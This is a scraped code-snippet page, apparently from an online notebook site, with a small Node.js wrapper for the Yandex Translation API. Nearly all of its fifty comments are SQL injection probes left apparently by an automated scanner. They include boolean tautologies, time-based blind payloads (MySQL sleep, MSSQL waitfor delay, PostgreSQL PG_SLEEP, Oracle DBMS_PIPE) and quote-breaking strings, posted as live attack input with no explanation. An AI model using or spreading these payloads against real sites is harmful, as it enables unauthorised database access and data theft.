Yandex Translation API

node v0.12.18
version: 1.1.0
endpointsharetweet
var request = require("request-promise"); var apiKey = process.env.YANDEX_API_KEY; async function yandex(method, opts) { var url = "https://translate.yandex.net/api/v1.5/tr.json/" + method + "?"; url += Object.keys(opts).map(function(key){ return key+"="+encodeURIComponent(opts[key]) }).concat("key="+apiKey).join("&") return request.get(url); } module.exports.languages = async function languages() { return JSON.parse(await yandex("getLangs", { ui: "en" })).langs; } module.exports.translate = async function translate(from, to, text) { var response = await yandex("translate", {text: text, lang: from+"-"+to}) return JSON.parse(response).text[0] }
//to use, make sure you set: process.env.YANDEX_API_KEY
Translation, powered by Yandex. For more information, see http://translate.yandex.com/ You can get your own key at: https://tech.yandex.com/keys/get/?service=trnsl
Loading…

50 comments

  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+413-413-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+254-254-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+365-365-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+69-69-1=0+0+0+1 or '57v38cRd'='
  • posted a month ago by xsjybldb
    -1" OR 2+164-164-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    PURUQfTe'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 883=(SELECT 883 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 327=(SELECT 327 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 134=(SELECT 134 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    p716vgYL' OR 162=(SELECT 162 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    zR0rznyZ') OR 949=(SELECT 949 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    Md8Rz71c')) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@KQXaq
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+818-818-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+19-19-1=0+0+0+1
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+356-356-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+36-36-1=0+0+0+1 or 'QvLiClMv'='
  • posted 24 days ago by 67478559714940000843b0a0
    -1" OR 2+211-211-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted 24 days ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 24 days ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 24 days ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 24 days ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1o3xhaTWW'; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 OR 994=(SELECT 994 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1) OR 409=(SELECT 409 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1)) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    12WFaJTqM' OR 396=(SELECT 396 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    194543DMJ') OR 548=(SELECT 548 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1P2fzf3aB')) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 24 days ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 24 days ago by 67478559714940000843b0a0
    '"
  • posted 24 days ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted 24 days ago by 67478559714940000843b0a0
    @@r3S91

sign in to comment